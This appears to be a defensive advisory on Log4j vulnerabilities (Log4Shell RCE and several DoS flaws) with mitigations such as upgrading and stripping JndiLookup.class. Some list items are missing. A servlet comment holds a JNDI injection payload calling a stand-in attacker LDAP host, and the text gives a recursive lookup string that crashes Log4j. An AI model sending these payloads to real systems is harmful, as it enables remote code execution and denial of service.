The log4j
library is a popular logging library used across the JVM ecosystem. However, if you are using a vulnerable version of Log4j (A version between 2.0
and 2.17.0
), RCE (Remote Code Execution) as well as DoS (Denial of Service) attacks are possible through abuse of Log4j's template processing algorithm.
An attacker can perform a malicious JNDI
object lookup to chain other exploits, or induce the application to process a malicious template string resulting in a DoS attack if your code logs request data (such as a user agent header).
Update your Log4j version to 2.17.1
to mitigate these vulnerabilities.
The following vulnerabilities have been discovered as of December 19, 2021:
2.0
and fixed incompletely in 2.15.0
.A DoS vulnerability, surfaced in version 2.15.0
and affecting all 2.x
versions before it.
This vulnerability is possible with certain non-default pattern layouts that allow the attacker to initiate JNDI lookups by manipulating thread context data. This attack requires a custom pattern layout that uses an interpolation string like $${ctx:loginId}
.
It has been fixed in version 2.16.0
; message lookup and JNDI functionality is disabled by default now.
1.x
is partially vulnerable with non-default configurations that use the JMSAppender
class. While this is of a lower severity than the other vulnerabilities found so far, version 1.x
has been deprecated since 2015 and will not receive official updates (not even security fixes); consider updating to the latest 2.x
version. Another severe DoS vulnerability, affecting versions 2.0
to 2.16.0
. It is possible for a specially crafted self-referential lookup string (PoC example of this is ${${::-${::-$${::-j}}}}
) to cause log4j to go into an infinite recursive loop, resulting in a stack overflow.
NOTE: This vulnerability also requires a non-default pattern layout similar to the previously mentioned DoS attack.
This is fixed in version 2.17.1
.
Update your Log4j version to the latest to avoid these vulnerabilities.
Here is an example of this issue using a servlet:
@WebServlet(value="/some/path", name="vulnerableServlet")
public class VulnerableServlet extends HttpServlet {
private static final Logger logger = LogManager.getLogger(VulnerableServlet.class.getName());
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException {
String userAgent = req.getHeader("user-agent");
// will trigger an RCE exploit if the user agent contains a JNDI scheme url.
// Here, the target is a malicious LDAP server.
// For example: ${jndi:ldap://attacker.com/a}
logger.info("Request user agent is " + userAgent);
}
}
This exploit can make use of multiple RPC protocols, including LDAP, CORBA and RMI, of which LDAP is especially vulnerable due to its lack of security manager enforcement.
For an in-depth explanation of how this attack is made possible, read this article.
On Java versions above 6u211
, 7u201
, 8u191
and 11.0.1
this vulnerability is mitigated to some extent because LDAP object instantiation is disabled through properties such as com.sun.jndi.ldap.object.trustURLCodebase
, preventing JNDI from blindly downloading and instantiating classes from remote code (source). This should not be relied on, as these properties could be changed to allow the exploit again.
There are a few ways to fix this issue.
Log4j's latest version, 2.17.1 fixes this bug.
Upgrade your Log4j dependency to this version if possible.
JndiLookup
class from your application's classpathThis vulnerability exploits Log4j's ability to interpolate JNDI lookup urls into logged strings. It is safe to do so but will not protect from certain DoS vulnerabilities mentioned above.
JndiLookup.class
can be removed by deleting the JndiLookup.class
file from your copy of log4j-core.jar
:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
$${ctx:someKey}
The use of lookup strings in custom pattern layouts may leave you open to DoS attacks. Use thread context map patterns (%X
, %MDC
or %mdc
) to print out thread context data instead.
Note that this may need to be applied for every release of your application if you make use of fat jars in your deployment.
The best method to prevent this issue is to update to the latest version of Log4j.